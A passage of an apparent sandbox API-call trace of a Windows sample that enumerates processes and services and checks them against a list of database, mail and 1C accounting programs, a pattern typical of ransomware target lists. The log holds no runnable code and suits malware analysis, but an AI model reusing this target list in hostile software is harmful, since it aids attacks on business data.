lpString2="csrss.exe") returned 1 [0169.008] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0169.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0169.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0169.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0169.008] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0169.008] lstrlenW (lpString="wininit.exe") returned 11 [0169.008] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0169.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0169.008] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0169.008] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0169.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0169.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0169.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0169.008] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.009] lstrlenW (lpString="csrss.exe") returned 9 [0169.009] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0169.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0169.009] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0169.009] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0169.009] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0169.009] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0169.009] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0169.009] lstrlenW (lpString="winlogon.exe") returned 12 [0169.009] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0169.010] lstrlenW (lpString="services.exe") returned 12 [0169.010] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0169.010] lstrlenW (lpString="lsass.exe") returned 9 [0169.010] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0169.010] lstrlenW (lpString="lsm.exe") returned 7 [0169.010] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.011] lstrlenW (lpString="svchost.exe") returned 11 [0169.011] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.011] lstrlenW (lpString="svchost.exe") returned 11 [0169.011] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.011] lstrlenW (lpString="svchost.exe") returned 11 [0169.011] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.012] lstrlenW (lpString="svchost.exe") returned 11 [0169.012] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.012] lstrlenW (lpString="svchost.exe") returned 11 [0169.012] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0169.012] lstrlenW (lpString="audiodg.exe") returned 11 [0169.012] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.013] lstrlenW (lpString="svchost.exe") returned 11 [0169.013] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0169.013] lstrlenW (lpString="explorer.exe") returned 12 [0169.013] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0169.013] lstrlenW (lpString="dwm.exe") returned 7 [0169.014] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.014] lstrlenW (lpString="svchost.exe") returned 11 [0169.014] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0169.014] lstrlenW (lpString="n.exe") returned 5 [0169.014] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0169.015] lstrlenW (lpString="spoolsv.exe") returned 11 [0169.015] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.015] lstrlenW (lpString="svchost.exe") returned 11 [0169.015] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0169.015] lstrlenW (lpString="taskhost.exe") returned 12 [0169.015] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0169.016] lstrlenW (lpString="reader_sl.exe") returned 13 [0169.016] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0169.016] lstrlenW (lpString="n.exe") returned 5 [0169.016] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0169.016] lstrlenW (lpString="n.exe") returned 5 [0169.016] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0169.017] CloseHandle (hObject=0x1ac) returned 1 [0169.017] Sleep (dwMilliseconds=0x1f4) [0169.536] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0169.536] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0169.536] GetLastError () returned 0xea [0169.536] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0169.537] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0169.537] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0169.537] lstrlenW (lpString="Appinfo") returned 7 [0169.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0169.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0169.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0169.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0169.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0169.537] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0169.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.538] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0169.538] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0169.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0169.538] lstrlenW (lpString="AudioSrv") returned 8 [0169.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0169.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0169.538] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0169.538] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0169.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0169.538] lstrlenW (lpString="BFE") returned 3 [0169.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0169.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0169.538] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0169.538] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0169.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0169.538] lstrlenW (lpString="CryptSvc") returned 8 [0169.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0169.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0169.538] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0169.538] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0169.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0169.538] lstrlenW (lpString="CscService") returned 10 [0169.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0169.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0169.538] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0169.538] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0169.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0169.538] lstrlenW (lpString="DcomLaunch") returned 10 [0169.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.539] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0169.539] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0169.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0169.539] lstrlenW (lpString="Dhcp") returned 4 [0169.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0169.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0169.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0169.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0169.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0169.539] lstrlenW (lpString="Dnscache") returned 8 [0169.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0169.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0169.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0169.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0169.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0169.539] lstrlenW (lpString="DPS") returned 3 [0169.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0169.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0169.539] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0169.539] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0169.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0169.539] lstrlenW (lpString="eventlog") returned 8 [0169.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0169.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0169.539] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0169.539] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0169.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0169.539] lstrlenW (lpString="EventSystem") returned 11 [0169.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0169.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0169.540] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0169.540] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0169.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0169.540] lstrlenW (lpString="gpsvc") returned 5 [0169.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0169.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0169.540] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0169.540] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0169.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0169.540] lstrlenW (lpString="iphlpsvc") returned 8 [0169.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.540] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0169.540] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0169.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0169.540] lstrlenW (lpString="LanmanServer") returned 12 [0169.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0169.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0169.540] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0169.540] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0169.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0169.540] lstrlenW (lpString="LanmanWorkstation") returned 17 [0169.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.540] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0169.540] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0169.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0169.540] lstrlenW (lpString="lmhosts") returned 7 [0169.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0169.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0169.541] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0169.541] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0169.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0169.541] lstrlenW (lpString="MMCSS") returned 5 [0169.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0169.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0169.541] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0169.541] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0169.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0169.541] lstrlenW (lpString="MpsSvc") returned 6 [0169.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0169.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0169.541] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0169.541] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0169.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0169.541] lstrlenW (lpString="Netman") returned 6 [0169.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0169.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0169.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0169.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0169.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0169.541] lstrlenW (lpString="netprofm") returned 8 [0169.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0169.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0169.541] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0169.541] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0169.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0169.541] lstrlenW (lpString="NlaSvc") returned 6 [0169.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0169.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0169.541] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0169.542] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0169.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0169.542] lstrlenW (lpString="nsi") returned 3 [0169.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0169.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0169.542] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0169.542] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0169.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0169.542] lstrlenW (lpString="PcaSvc") returned 6 [0169.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0169.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0169.542] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0169.542] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0169.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0169.542] lstrlenW (lpString="PlugPlay") returned 8 [0169.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0169.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0169.542] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0169.542] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0169.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0169.542] lstrlenW (lpString="Power") returned 5 [0169.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0169.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0169.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0169.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0169.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0169.542] lstrlenW (lpString="ProfSvc") returned 7 [0169.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0169.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0169.542] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0169.543] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0169.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0169.543] lstrlenW (lpString="RpcEptMapper") returned 12 [0169.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.543] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0169.543] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0169.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0169.543] lstrlenW (lpString="RpcSs") returned 5 [0169.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0169.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0169.543] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0169.543] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0169.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0169.543] lstrlenW (lpString="SamSs") returned 5 [0169.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0169.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0169.543] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0169.543] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0169.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0169.543] lstrlenW (lpString="Schedule") returned 8 [0169.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0169.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0169.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0169.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0169.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0169.543] lstrlenW (lpString="SENS") returned 4 [0169.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0169.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0169.543] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0169.544] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0169.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 